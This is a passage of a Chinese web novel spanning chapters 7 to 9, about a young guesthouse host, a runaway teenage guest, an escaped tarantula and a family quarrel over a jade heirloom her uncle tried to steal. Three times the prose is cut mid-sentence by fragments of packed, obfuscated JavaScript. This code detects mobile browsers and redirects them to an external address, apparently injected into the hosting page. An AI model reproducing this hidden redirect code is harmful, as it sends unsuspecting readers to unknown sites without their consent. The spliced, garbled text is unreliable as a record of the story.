屈朗今年18岁,是一名刚高中毕业的学生,在处理他斗殴事件的民警眼里,他还是个孩子,所以即便他的行为造成的后果没有严重到需要住院或被拘留的地步,也有必要告知他的父母。 但今天即使警察不和屈朗的父母联系,屈朗自己恐怕也会主动和父母联系,因为那台被砸坏的单反相机是他妈给他买的,决定赔偿金数额的购买记录和价格明细也在他妈手上。而他妈得知事情的来龙去脉后也并没有在第一时间向警察出示证据,因为她怕屈朗及时拿到赔偿金后又跑得不见踪影。 这些在派出所里发生的故事细节是屈朗在琼云帮他搬东西的时候说的,琼云不能在大晚上因为一只抱脸虫,充满歉意地让屈朗收拾行李滚蛋,所以两人合力将行李搬到了隔壁房间,包括被褥和蚊帐,这两件东西怕落灰,平常都关在柜子里,所以隔壁房间的床是空的。 搬行李的过程中,琼云听到屈朗的肚子咕咕叫了好几次,于是在搬完后,她问:“你没吃晚饭?” 屈朗难为情地说:“她男朋友就是吃饭的时候过来的。” “你和那个姐姐一起吃的晚饭,她男朋友不在?” “嗯。” 琼云突然觉得屈朗挨的这顿打也并非完全无辜,她指指门外,说:“你刚才没踩砂锅里吧?要是干净还能吃。” 屈朗摇了摇头:“没有” “那你出去吃,这房间有段时间没住人了,我打扫一下。” 屈朗应了一声,就出去了。 琼云拧了抹布把桌椅和床头都擦了一遍,地板看不出脏,就随便扫了扫,收拾完出去时,屈朗吃得正香,脸都快埋进砂锅里了,琼云觉得离开前有必要跟他打个招呼:“你吃完放那就行,我明天早上再来收拾,没别的事,我回房间了。” 屈朗却放下筷子,趁她迈出厢房前叫住了她:“我能不能问你一个冒昧的问题?” 琼云蹙眉:“有多冒昧?” “你爸妈是不是离婚了?” “没有,我妈去世了。” “……”这个问题比他想象中更冒昧,“对不起啊。” 琼云反过来问他:“你爸妈要离婚?” “嗯。” 父母捱到子女高考后离婚,是一个非常经典的桥段。 “你不想他们离婚所以跑出来?” “那倒不是。” “你选不出跟谁?” 屈朗莫名有些烦躁:“我又不是小孩子了,以后上大学实习工作什么的就不怎么回家了。” “也是。”他已经是一个法律意义上的成年人——琼云用眼睛描摹他身体的轮廓和起伏,骨肉匀称,脊背挺拔,归功于年轻的新陈代谢,不必刻意锻炼也拥有自然流畅的肌肉线条,这显然是一具成熟的男性身体,并且充满活力。 琼云第一眼见到他,就觉得他的身体很美,美得很舒服,舒服得就像刚打磨锋利的圆刃雕刻刀在木头上削出的第一道凹槽。 只是一直盯着人看的行为很奇怪,屈朗被盯得怀疑米线的汤水溅到了衣服上,于是低下头把衣服揪出两个犄角,看了又看,结果衣服很干净,于是他抬起头来发出疑问:“我身上有东西吗?” “没有。”琼云回过神来,脸有些发烫,赶紧让话题重回正轨:“不是因为你父母离婚才离家出走,那你问我这个问题干嘛?” 屈朗努起嘴,用撒娇的语气说:“他们两个一个让我学这个,一个让我学那个,谁也说服不了谁,明明说好高考完就陪我出去旅游的,结果每天都在吵架,我觉得他们很吵,而且他们选的专业我一个都不喜欢,然后我就自己一个人跑出来了。” “你大学专业是自己选的吗?”屈朗又把问号抛给琼云。 “我没上过大学。”琼云说。 “……” 这天根本聊不下去。 “我给不了你有用的建议,别问我了。”琼云撂下这话,扭头就走,左脚刚跨出厢房大门,她才突然想起自己也有一些需要在屈朗身上找到答案的问题:“你怎么知道我把玉放在床上?” 屈朗说:“你叔叔当时就在翻你的床。” 琼云懊恼地闭上了双眼——既知道她把玉拿走又了解她的生活习惯并且有可能把这些消息透露给四叔的,除了奶奶还有谁? 奶奶之前送过琼云一只金手镯,并且嘱咐琼云要藏在垫被底下,因为绝大多数小偷半夜进屋偷东西绝对不会想惊扰到睡梦中的主人,琼云当时觉得奶奶说得很有道理,还真把这话听进去了。 琼云也怪自己没有在白天锁房门的习惯,金手镯还在的时候,南北厢房还没收拾出来做民宿,不锁门也理直气壮,金手镯卖掉以后,房间里就一直没什么贵重物品了,所以即便如今家中有外人进进出出,白天也是不上锁的,连锁门的钥匙都不知道扔到哪去了。 “你刚才为什么不直接问我?”琼云听到屈朗的声音,睁开眼,看到了他既怨恨又委屈的表情,他的嘴唇被汤水濡湿,格外红润,一张一合很惹眼:“你用那种语气对我说话,很伤人。” 琼云听说嘴唇薄的人薄情冷血,嘴唇厚的人则忠厚仗义,她见过许多人,这些人的实际性格和行事作风往往与带给她的第一印象相契合,就像树木内部的健康与否会通过枝叶和树皮的状态反应出来,所以她认为面相之说有几分道理,并非迷信。 而屈朗恰好生了一张厚道饱满的嘴唇,这种面相加深了他被琼云质疑后的愤怒表现的可信度。 于是琼云诚实回答他:“我故意的,语言可以编造,但情绪很难伪装,我不信任你,而且你发现我叔叔在我房间里找东西,没有第一时间通知我,而是自己藏起来的做法也很奇怪。” 屈朗解释说:“你当时在睡觉嘛,我不想吵醒你,本来想在你睡醒以后告诉你的,可是下午我出去给那个姐姐拍照就忘记了。” 琼云听他这个姐姐那个姐姐地叫,心里一股无名火:“我是在睡觉,不是在给人开膛做手术!” 屈朗察觉到了她的怒意,于是用指尖摁住嘴唇,仰头看向天花板,陷入沉思——在别人还不知情的情况下就帮人把问题解决掉,难道不是很酷吗? 琼云走了。 刚跨出厢房大门,她看到了一只飞蛾,跌在走廊上,离被风雨飘湿的地方很近,扑闪着受损的翅膀。飞蛾的生命很短暂,翅膀受了伤,只会更短暂,蚂蚁很快就会成群结队过来把它们的“食物”搬走。 琼云决定用这只濒死的飞蛾制作一个简易的陷阱,她找了一个原本装着梅子干的空塑料罐,拧开盖子,把飞蛾投进去,然后去引诱抱脸虫,抱脸虫仍栖在墙上,于是她给罐子的一面贴上双面胶,口朝抱脸虫,尽量不发出动静贴到墙上,紧接着弹簧似的躲开。 琼云在旁边蹲了很久,蹲到屈朗吃完米线也过来凑热闹,甚至改变主意把创口贴贴上了,抱脸虫仍始终没有任何准备捕食的迹象。 琼云半自言自语:“蜘蛛……视力很差,它是不是看不到?” 屈朗说:“它可能性格比较内向,你一直盯着它看,它吃不下饭。” 这家伙在说什么呢?琼云质疑道:“它视力很差,怎么知道我在盯着它看?” “它视力很差,那它是怎么捕食的?” 可说呢? 琼云低头查手机,查到蜘蛛是靠触觉发现猎物的,会织网的靠猎物落到网上产生的振动,不会织网的靠身体上灵敏的刚毛,这些刚毛可以感受空气中的波动频率和湿度,包括气味。 于是琼云面容扭曲地拿屈朗刚吃过米线的筷子夹着飞蛾凑到抱脸虫嘴边……可抱脸虫仍旧不为所动,它的心比修道者更为坚定。 这下琼云不耐烦的情绪大过了恐惧,一边把罐口往抱脸虫脑袋上怼,一边拿筷子撵它的屁股,前后夹击,抱脸虫突然狂躁起来,琼云闭上双眼,生死由命。 “抓住了!” 琼云听到屈朗兴奋的叫声,睁开眼,抱脸虫已然被困进罐子,她连忙倒过来让罐口朝上,伸手示意屈朗:“盖子盖子!” 屈朗拿了桌上的盖子递过去,琼云接过,罩住罐口,快速拧紧,紧绷的神经终于得以松弛下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168733|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 琼云掌着罐底,臭屁地转了转——这么简单的事情,刚才何必搬东西换房间呢? 琼云给罐子扎了个透气孔,隔天一早去买菜的时候,顺道去居委会找一个在那工作的亲戚罗婶,让她帮忙问问哪家的宠物蜘蛛丢了,可罗婶竟然说让她炸了吃,免得再跑出来吓到游客。 琼云露出了一言难尽的表情,这种表情让罗婶误以为她在害怕,非要跟着琼云出一趟外勤,在琼云的万般推辞下,罗婶骑上了小电驴。 琼云只好打电话给师庆求助: “你去看一下它还在不在,就是之前装梅干的罐子,打开门就能看到……没有?是装梅干的罐子啊,很大的,罐子里没有?你看清楚了吗?”琼云说到这里露出懊悔的表情:“我本来想让你顺便带到山里丢掉,婶婶说怕跑出来吓到游客,那个盖子我找不到了,就用了本书压着,没想到它力气这么大……” 琼云挂掉电话后对罗婶说:“蜘蛛跑出来了,麻烦你帮忙提醒一下我家周边那一带的人,可能又跑到别人家去了,让他们小心,那只蜘蛛真的很大,我昨天晚上吓死了,也不知道是谁家养的,国外的品种,国内都没有。” 罗婶答应了,琼云忽悠成功一身轻,载着一筐新鲜的菜回家去。 屈朗一夜没睡,太阳还没升起来的时候,他就在院子里走来走去,走去走来,他现在仍在走,但等琼云推开家门,把自行车溜进去,他又凑到琼云身边来,像跟屁虫一样,琼云走到哪,他跟到哪,琼云早上起来出现在他面前的时候,他就是这样。 琼云把车前框里的菜拎进厨房去洗,屈朗也跟着进厨房。 水柱平缓得仿佛没有在流动,慢慢注入洗菜的盆子中,琼云将水蕨菜鲜嫩蜷曲的部分一枝枝摘进去,她摘得很娴熟,摘完以后盆里的水也没有过半,于是她把水流拧得更大,冲打在水蕨菜上,水花像烟花一样绽开,其中一颗水珠精准地砸进了屈朗布满血丝的眼睛里,他被迫抬起手揉眼睛。 琼云关掉水龙头,扭头看他:“你一直跟着我干嘛?” 屈朗略微偏转身体,把手放下来,睫毛被揉湿,像在哭:“我不想回去。” “你和我说没用。” “我舍不得你。” 这肉麻的话打得琼云猝不及防,浑身筋脉仿佛盆里的水蕨菜一样蜷曲起来,她把脑袋转回去,双手插进被水浸没的水蕨菜里,用大拇指把它们蜷曲的头部推直,那些是未展开的幼叶,最容易夹杂泥沙和小虫,也最柔嫩,容易折断。 果然折断了,孤单地飘在水面上。 琼云问:“你一晚上没睡觉,头晕吗?” “晕。” “那就去睡觉。” “我睡不着。” 琼云对他笑:“那你帮我把菜洗了。” “哦。”屈朗没有把手伸向盆里的水蕨菜,而是伸向了一旁还躺在塑料袋中的芋头花。 琼云连忙出声制止:“别碰,刺手,我跟你开玩笑的。” 屈朗没碰,手指茫然地往瓷砖上戳了戳。 琼云又问:“你爸妈大概几点下飞机?” “大概中午吧。” “那我米饭煮多一点。” 屈朗的眼睛忽然睁大:“你要请我爸妈吃饭啊?” “是给你吃,你爸妈下了飞机还要转车,午饭不在飞机上吃掉,也在来的路上吃掉了。” 屈朗忧郁地看着琼云,看了一会儿,突然翻起了装菜的塑料袋们:“你没有买菌子,但是你昨天晚上做给我吃了,冰箱里应该还有吧?你用毒性低的菌子不炒熟做给我吃,我食物中毒进医院就赶不上回去的航班了。” “?”琼云被他智慧的大脑给惊艳到了:“你真聪明,我做凉拌见手青给你吃。” 屈朗呆滞了片刻,嘴唇蠕动:“会死人的吧?” “你知道就好。” 中午的餐桌上没有没炒熟的菌子,甚至连菌子都没有,吃完午饭,琼云又泡了一壶普洱茶,在普洱茶氤氲的香气中,屈朗接到了他父母的电话。 琼云目送他的背影走远,直至完全消失在视野,她想,两人下一次再见面,大概就是这辈子最后一次了。 她已经习惯离别。 8. 第 8 章 阿桐是琼云儿时的玩伴,从升入中学后,由于加重的课业、缩减的假期,亦或各自性格和人生方向发生的转变,两人的关系逐渐疏远,但人与人之间的缘分似乎遵循的某种恒定的规律,琼云前脚与屈朗分别,后脚又与阿桐重逢了。 在琼云的记忆当中,阿桐的形象是扎着两只麻花辫、性格活泼的小女孩,但如今的阿桐,却是留着挑染的鲻鱼头,看起来雌雄莫辨、不苟言笑的帅气女生。 琼云第一眼都险些没认出她来。 “你找谁?”琼云站在门槛里。 阿桐站在门槛外,她问道:“蜘蛛跑掉以后你有没有再找过?” 琼云听到这话,心情豁然开朗起来:“那只蜘蛛是你养的?”她让开道请阿桐进来,“它没跑掉,它昨天晚上吓到租客,我把它捉进罐子里了,就在房间。” 没做停留,琼云立即就引阿桐去到屈朗原先住的房间,装着蜘蛛的罐子就放在地板上。 阿桐蹲下身,拎起罐子检查蜘蛛的状态,琼云则站在一旁讲述昨晚惊心动魄的经历,从寻找蜘蛛的踪迹讲到打开灯发现它就近在眼前,再讲到如何将蜘蛛捉进罐子,最后讲到今早她是如何欺骗她那位在居委会工作的亲戚的。 蜘蛛还活着,也没受伤,阿桐问:“你昨天拿筷子戳它屁股以后,身上痒吗?类似切芋头花的感觉,它肯定踢毛了。” “踢毛?”琼云抚摸着手臂回想,昨晚刚捉住抱脸虫时没注意,但后来确实有类似沾到芋头花的汁液那种又痒又刺痛的感觉,“我以为是皮肤太干才那样,还抹了护肤乳,原来是因为踢毛,这是它的攻击行为吗?” 阿桐点头:“对,它们感受到威胁时,就会用后腿把屁股上的毛踢下来,我也被踢过,你现在还感觉不舒服吗?” “没有,今天早上醒来就没感觉了,我没直接上手,所以还好。”琼云庆幸当时闭上了眼睛,踢到皮肤上事小,踢到眼睛里可就麻烦了。 “那就好。”阿桐再次看向罐子里的抱脸虫,“它虽然身体很大,其实胆子很小,没安全感就不会进食,所以你当时用虫子诱惑它没用。” 琼云扬眉:“难怪。” 阿桐突然起身,道:“能不能放你家养几天?包括没跑出来那只。” 琼云皱眉:“为什么?” 阿桐解释说:“我妈不喜欢我养蜘蛛,这次跑出来,就是因为她故意把盒子打开,养在你这里几天,等我找到房子从家里搬出去,就拿走,可以吗?” 琼云作为房东,认为这个忙帮起来并不容易:“可万一又跑出来怎么办?我没关系,但我这里有租客。” “盒子有锁扣,不打开就不会跑出来。”阿桐从手机中翻出照片,是抱脸虫的旧照,它身边有石块和干枯的树枝,带着透气孔的亚克力盒子把它们封锁在内。 阿桐信誓旦旦地说:“以前从没跑出来过,它们胆子很小,只喜欢缩在角落里。” 琼云顺着阿桐指尖所指的方向看到了盒子上三面环绕的锁扣,看起来挺结实的,于是勉强答应下来。 阿桐找到了救星,立刻回家把两只饲养箱都拎过来,她养了两只蜘蛛,另一只身材较小但颜色更为鲜艳丰富,腿是蓝色,胸背部是蓝绿色,腹部是橙色,幸运在跑出家门前被她找回。 阿桐把抱脸虫从塑料罐里捞出来放回饲养箱,琼云指着颜色鲜艳的那只说:“这只真漂亮,好像汽油。” 阿桐把抱脸虫的房门锁死,为琼云科普道:“这个品种叫红绿橙。” 好直白的名字。 可琼云看到了橙,看到了蓝绿胸背部勉强算的绿,却没看到红,不免感到奇怪:“它的腿是蓝色,上半身是蓝绿色,为什么不叫蓝绿橙?” 阿桐翻出红绿橙的童年照片:“你看,它小时候不是这个颜色,肚子是红黑条纹的,不过我也不知道为什么翻译过来叫红绿橙,拉丁学名直译不是这个意思。” 琼云对比红绿橙的童年照片和成年状态,差别简直仅此于蝌蚪和青蛙,小时候半点蓝色或绿色都没有,不光腹部是红黑条纹的,腿还是肉粉色,胸背部也是金色夹黑色的,真是蛛大十八变。 阿桐还告诉琼云,抱脸虫小的时候,膝关节处也是没有红色裂纹的,长大以后才有,刚蜕完皮时颜色格外鲜艳漂亮,像把人的皮肤撑裂,血充盈上来的样子。 阿桐谈论这些事情的时候,眼睛格外亮,她只是外形变得冷酷,内心还是和小时候一样,分享欲和倾诉欲都很旺盛。 琼云拿了一些零食和水果过来,和阿桐边吃边聊,回忆往昔,谈论近况。 阿桐大专毕业后做了一年会计工作,最近刚回来,她说大城市里工资虽然高,但房租和物价也高,再加上学历低、学的专业烂大街,根本攒不了钱,所以打算回来重新找份工作,想着工资虽然低些,但能削减吃住的费用,或许能攒到更多。 “但是你要从家里搬出去,房租就减不了。”琼云说。 “可是在大城市里两千块都未必有我们这几百块租到的房子好。”阿桐用“耶”的手势同时指两个饲养盒,“尤其我带着这两个崽,根本没人愿意和我摊房租,想省钱只能租非常偏僻的地方,离公司特别远,天没亮就要起床赶地铁,经常加班到很晚,觉都睡不醒,明显感觉到身体素质比以前差了,再这样下去,省出来的钱都要赔进医药费里了。” 琼云撑着下巴,目光因放松而不聚焦,她小幅度点了点头,表示赞同:“有道理。” 话音刚落,楼下突然传来了清晰的叩门声,紧接着是一个女人的嗓音。 琼云回过神,离开房间,阿桐也跟了出来,两人在走廊上看见师庆从工作室出来,沿着走廊走到大门口,把四叔和四婶迎进了门。 家丑不宜外扬。 琼云转头对阿桐说:“你今天先回去吧,蜘蛛就放在这个房间,你随时可以过来。” 阿桐表示理解,和琼云要了个微信,两人就一起下了楼。 琼云把阿桐送出门,就回去沏茶,师庆已经把水烧上了。 包括听到动静凑过来的奶奶在内,总共四个人围坐在茶几前,他们没有直接切入正题,而是在电水壶的嗡鸣中,有一句没一句地寒暄着。 琼云沉默地站在一旁,取两个一次性杯子,分别倒些茶叶进去,然后无所事事地等水烧开。茶只需要给四叔和四婶准备,她自己不想喝,奶奶不爱喝,师庆则每天一大早就会泡上满满一大保温杯的茶,不需要。 等热水“哒”的一声烧好,琼云就把茶沏上,拎到四叔和四婶跟前,顺便把师庆的保温杯倒满,然后依旧站在一旁。 奶奶拍了拍身旁树桩凳子的年轮,拍去上面几乎不存在的灰尘,略微用力拉琼云的胳膊:“坐。” 琼云摇头拒绝。 于是奶奶拉得更用力:“坐下。” 琼云轻声说:“屁股疼。” “屁股咋个疼?”奶奶的手往下探,指腹摁到了琼云的屁股上。 琼云只好逃去沙发上翘着二郎腿刷手机。 “留下吃晚饭嘛。”师庆对老四夫妻俩说,不等他们回应,就扭头问琼云:“囡儿,家头菜够不够?不够去超市整点去。” 琼云把手机挪到一边,露出脸来,没说话,只把眼神往着四叔脸上戳,四叔拉着一张驴脸,说:“不吃。” 师庆一开始喊四叔过来吃饭,四叔就不想吃,但四叔的性情也是喜欢调和、折中的,师庆改口说哪天兄弟姐妹几个一起聚个餐,四叔就来了。 但这显然只是其中一个原因,他实际上是在两面夹击的压力下被挤飞过来的,另一边的压力来自于他老婆,因为磨蹭了半天,还是他老婆把他失业外加被骗了二十万投资金这两件事给抖出来的。 得知这两个坏消息,师庆反而松了一口气,因为这远比他猜测的“赌博欠了一屁股债”好多了,他语重心长地说:“这种事情你咋个不早告诉我们噶?我们是一家人,有事情肯定要互相帮忙,你早该告诉我们。” 四叔依旧拉着个驴脸:“告诉你有啥用,你自己还欠人债。” “告诉我莫用,你就想悄悄呢卖出去把玉?”师庆摊手,“汉朝的东西,整不好钞票莫得,还要进去肿牢饭去呢,你可认得,啥子香港的朋友,你晓得他要整哪样噶?” 四叔一下子精神了:“我没偷!” 四婶轻轻推搡丈夫:“大哥说的有道理,整不好要吃牢饭呢。” 四叔更火大,低声吼她:“我说了我没偷!房贷不用你交,你轻松!你胳膊肘往外拐!” 四婶被吼得没底气,声音轻得像蚊子叫:“我说那人是骗子你不信。” 琼云抱着手机幽幽来了一句:“没偷着,又不是不想偷。” 四叔听到这话像弹簧一样跳起来:“你说啥?!” 琼云放下手机,直起身来:“我说你只是没偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168734|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,不是不想偷,说错了吗?你不心虚你今天来干嘛?” “琼云!”师庆啧了一声。 四叔吹胡子瞪眼,指着琼云骂道:“我是你长辈,你这样和我说话!?哪个教你的?没教养的东西!” 琼云腾的一下也站了起来:“你进我房间里偷东西,你好意思说我没教养!?” “谁偷东西了!你看到了吗?” “我没看到,不代表别人没看到!” 眼看乱了套,奶奶连忙出来打圆场,跑到琼云身边捏着琼云的手,一边跺脚一边劝:“他是你老耶,没偷就是没偷,咋个会骗你嘛?莫乱扯拐。” 琼云一把掰开奶奶的手,瞪着她骂道:“你莫装憨!他想偷你会不晓得?我挨玉藏被垫下的事情不是你说出去噶?你莫想赖!” 奶奶哎呦了一声,老脸皱成一团,瞬间红了眼睛。 “琼云!”师庆叫了琼云好几声都没叫应,朝琼云走过来把音量提得更高,“莫你相干,上楼去!” 琼云只是瞥了他一眼,并不理会。 四叔在气头上,又找到由头骂琼云:“当老耶跟你老子的面,都敢跟你奶奶这么说话,背地里都不晓得咋个欺负你奶奶,没良心的东西!难怪你亲妈不要你,我大嫂养你这么大还不如养条狗!我大嫂就是遭你给克死的!” “你再说一遍!”琼云目眦欲裂,猛地抄起沙发上的一本重书就砸过去,电光石火之间,师庆斜身抻长手臂,扣球一般把书打下,书扑到地上,灰尘和木屑被振飞离地。 “过分了你!”师庆扶着剧痛的腰朝老四指责道。 琼云双目赤红,被师庆抓住了一只胳膊,身体仍往前扑:“你有什么资格骂我!?奶奶吃的饭是我做的,衣服是我洗的,昨天她长湿疹,药也是我上山采的!我给她捣碎了涂的!你就偶尔回来在她面前放几个屁你就比我孝顺!你想偷那块玉没偷着就好意思说你没偷?还想栽赃嫁祸给别人!小心出门被车撞死!” “谁栽赃?!” “琼云。” 琼云看向师庆,才发现他眉头皱得很深,看起来有些痛苦。 “腰又痛了?” 这是做木工落下的职业病。 师庆没有回应这个问题,只是偏脸指门外:“去开门。” 琼云这下才听到叩门声,“挡什么?”她嘀咕了一句,才跨出工作室去开门。 扒开两扇门之间的缝隙,琼云最先看到的是一个她从没见过的女人,身上散发着甜腻的香水味,年纪大约在四十出头,画着精致的妆容,头发是红棕色,带卷,身上穿的是一条修身的裙子,身材保持得很好,佩戴的耳坠和项链是成套的,小臂挎着一只皮包,看起来价格不菲。 “你找谁?”嘴比眼睛快,这话问出口,琼云才发现站在女人身旁的屈朗,他脸上有个显眼的巴掌印,身后还有一个长得和他很像的中年男人,这显然是一家三口。 女人没理会,只看向自己儿子,用下巴指指琼云:“是她?” 屈朗没否认,他对上琼云的视线,发现了一些不太对劲的地方:“你眼睛怎么红了?” 琼云垂眸避开。 “看来没错。”女人将琼云上下打量了一番,然后抄起手,侧过身子,乜斜着眼评价道:“长得还挺清秀的嘛,人模人样的,就是一股狐骚味。” “妈!”屈朗目瞪口呆地看向女人。 “你说什么?”琼云皱起眉头,没有感到愤怒,只是诧异。 “怎么?做都做了,还嫌我说话难听啊。”女人摇摇晃晃的,姿态有不符合她这个年纪的幼稚,“你多大年纪了?应该毕业工作很多年了吧,我儿子才高中毕业,你勾引他,你要不要脸?真是世风日下,现在的小姑娘一个个都这么会勾引人,想从我唔……” 屈朗回过神来,一把捂住女人的嘴,“妈你胡说八道什么?” “你跟你你妈说什么了?”琼云看向屈朗。 “我……”屈朗胀红了脸,失了神,还没把话说清楚,脸上又挨一耳光。 “长能耐了你!”女人扇完巴掌,气势汹汹地插着腰。 旁边的男人劝道:“行了晓菲,少说两句,拿了行李就走。” 琼云的内心意外平静,她从裤兜里掏出手机,算好租金退还给屈朗,然后把屏幕上的转账信息举到他面前给他看:“钱按短租的算,剩下的我都退给你了,收拾好你的东西给我滚。” 9.第 9 章 屈朗哭了,哭得很丑,不光掉眼泪,还像七岁小孩一样张大嘴巴嚎。 邹晓菲嫌他丢人,瞪着眼睛吼他,骂他没出息,屈延峰则上前一把抓住他的胳膊往里拽,问他住哪个房间,赶紧收拾东西。 结果屈朗嚎得更大声了,间歇含糊不清地喊琼云的名字。 琼云第一次听他这样称呼自己,也是第一次见他这样失态,却并不感到新奇,她现在整个人无念无想,轻如透明,仿佛跳出三界外。 这边一家三口连拖带拽地往里走,那边屋里四个人听到凄惨的哭嚎声,也一窝蜂涌出来,于是两派人在走廊中间碰上了。 师庆看了眼哭嚎声音的来源,视线越过一家三口朝他们身后的琼云问:“咋个整的?” 琼云回:“瞒着父母离家出走。” 这三言两语,邹晓菲就推断出了两人的关系,她打量了一下师庆的五官,做最后确认:“你是她爸?” 师庆说对。 于是邹晓菲又摆出盛气凌人的架势来:“管好你女儿,别出来勾引人!” 师庆愣了一下,还没来得及反应,思绪就被屈朗撕心裂肺喊出的一声妈给打断了。 屈朗像考拉一样抱住邹晓菲的胳膊,浑身颤抖,一边摇头一边抽噎着说:“我骗……你的,和她……一点,一点关系都没有,我……只是……不,不想回去,你给人道歉。” 师庆听完这番话,总算琢磨出个大概来了,他抬手指着邹晓菲,用口音浓重的普通话夹着少量方言骂道:“你这个女人说话咋这么难听,自己没把事情整明白,明明你儿子鬼扯卵谈,还骂我女儿,你管好你儿子才对!” 四叔旁观了一会儿也明白过来,突然冷笑一声,指着屈朗喝道:“玉就是他偷的!” “谁偷东西了!说谁呢?!”邹晓菲叉着腰,脖子前抻,骂回去,“你也是这家的?真就不是一家人不进一家门,上梁不正下梁歪!蛇鼠一窝!你们开黑店的吧!?我要投诉你们!” “就说你儿子!你儿子偷东西!”四叔指完屈朗又指向琼云,他说到谁指向谁,在琼云和屈朗之间来回扫,“我现在明白了,你们两个早勾搭到一起去了,他把玉偷走,你还帮他瞒着,为了个刚认识的男的,你诬陷你老耶偷东西,你真孝顺,我大嫂在ICU里的时候都没见你这么孝顺!你个烂蹄壳!” 发泄完,四叔突然眼前一黑,身体被迫后仰,后脑勺“砰”的一声撞到了廊柱上。 紧接着四婶就尖叫起来,“你打我老公!你为哪样打我老公?你个烂杂种!” 屈朗听不清四婶在骂什么,他面容扭曲,捂着刚与四叔的脸亲密接触过的拳头,缩成一只熟虾,低声呜咽,明明是揍人的那一方,却像脚趾尖踢到墙壁似的有气无力地叫起痛来。 “你打他干什么?快让妈妈看看。”邹晓菲心疼地把屈朗捂在怀里的拳头掏出来检查,指掌关节处贴着两只创口贴,是他昨天“斗殴”时一拳没击中,砸到地上磕伤的。邹晓菲温柔地朝痛处吹了吹,紧接着阴狠地诅咒道:“那个绿毛龟,迟早被那臭婊子传染性病,屌都烂掉!” 另一边四婶心疼自家老公,揉着四叔的后脑,问他有没有事,头晕不晕,结果捂着后脑的手一挪开,旁边的奶奶差点晕过去,四婶看清手上鲜红的液体,又尖叫起来:“血——出血了!” 琼云听到这个消息,瞬间变了脸色,无法再置身事外,迅速从人群中挤到四叔四婶身边去,她发现四叔身后的那根柱子上有颗没完全敲进去的铁钉,还剩几毫米留在外面,锈迹斑斑,钉帽很薄,借助屈朗那一拳的力量,足够锋利,能切进皮肉。 这铁钉是以前打上去晾挂东西用的,后来做起民宿来怕租客受伤,就把打得浅的给起了,打得深的给敲埋进去了,没想到还有漏网之鱼。 “烂杂种!”四婶一面掏手机一面骂屈朗,“我要报警抓你去肿牢饭!你给我站的!” 邹晓菲却不以为意:“报什么警吃什么牢饭,你老公顶多有点脑震荡,警察都懒得理你,我给你两万块好啦,手机拿过来给你转。”说到最后还勾勾手指。 这举动却激怒了四婶:“你当我要饭的?!” 邹晓菲轻蔑地道:“那再给你加一万,我还要赶航班,没工夫陪你闹,大姐,你不就是想要钱吗?” 屈朗听到“航班”两个字,脑子里突然嗡的一声,紧接着就饿虎扑食般扑向四婶,紧紧攥住她的手腕,急切道:“阿姨你快报警!你不报警我继续打你老公!我妈不会给你那么多钱的!” “你脑子有病啊!?”邹晓菲一高跟鞋踹到屈朗屁股上,屈延峰也很配合,一把把儿子逮回来,让邹晓菲接着骂。 四婶被整不会了,迷茫地愣在那里,直到琼云拍了拍她的肩膀,说:“婶婶,赶紧带老耶去医院打破伤风针,撞钉子上了,钉子上有锈。”她把指腹上锈和血的混合物给她看。 “破伤风打一针多少钱?”邹晓菲扭头问屈延峰,屈延峰心不在焉地答:“几百块吧。” “你们逃不掉!”四婶顿时恢复愤怒的情绪,眼泪从眼角溢出来,像牛一样喘着粗气,往手机屏幕上戳110。 琼云急忙伸手挡住屏幕,把手机往下压,劝道:“没必要报警,你报警还未必能赔这么多。” “就是。”邹晓菲帮腔。 四婶又惊又怒地看向琼云:“你老耶说的是真的?你们两个早勾搭上了?你舍不得让他拘留是不是?” 四婶抬起手臂,琼云顺着她手指的方向看向屈朗,屈朗不哭了,但仍带着生理惯性在抽噎,眼睛和脸颊都又红又肿,闪烁着泪光,他也在看她,四目相对,哑口无言。 确实有这部分原因,琼云无法否认。 等回过神来,四婶已经把号码拨出去,琼云又去劝:“婶婶,别报警,你听我说。” “你起开!”四婶推开琼云。 报警的事情已经无法挽回,琼云闭上眼睛整理思绪,她听到除了四婶光明正大、义正词严地在向警察控诉不公外,其他人都像老鼠一样窸窸窣窣地在和自家人商量着什么。 当听见师庆对四叔说要把当初借的那五万块钱还给他时,琼云瞬间睁开眼睛,出声制止:“先别,过两天再说,警察要问起来,不好解释。” 师庆不解:“这两件事情哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后琼云又指向四叔:“你失业了,还被骗了二十万,婶婶可以作证,她就算站在你这边不承认,查也可以查到。” “我什么不承认?”四婶不知道什么时候已经报完警,没听到前情,疑惑地插嘴进来。 于是琼云给四婶重复了一遍前情,结果四婶听完,和四叔一样咬定她胳膊肘往外拐。 琼云懒得解释,继续对四叔说:“你那天过来拍了几张玉的照片,肯定发给你那个做古董收藏的朋友看过了,聊天记录都还在,这是物证,你缺钱所以打算把玉偷走卖掉,动机充分,证据完整,到时候警察过来肯定要问清楚原因,你告诉我,这些你怎么解释?” 四叔说不出话来,贼兮兮地瞥了几眼自己的裤兜,悄悄把手机掏出来。 琼云知道他打的什么注意:“你删掉也没用,到了派出所,删掉的信息照样给你复原出来,要是普通的玉那倒没关系,但这是从墓里挖出来的古董,私下交易是违法的,性质完全不一样,警察还会顺藤摸瓜摸到你朋友那边,你肯定不想得罪他吧。” 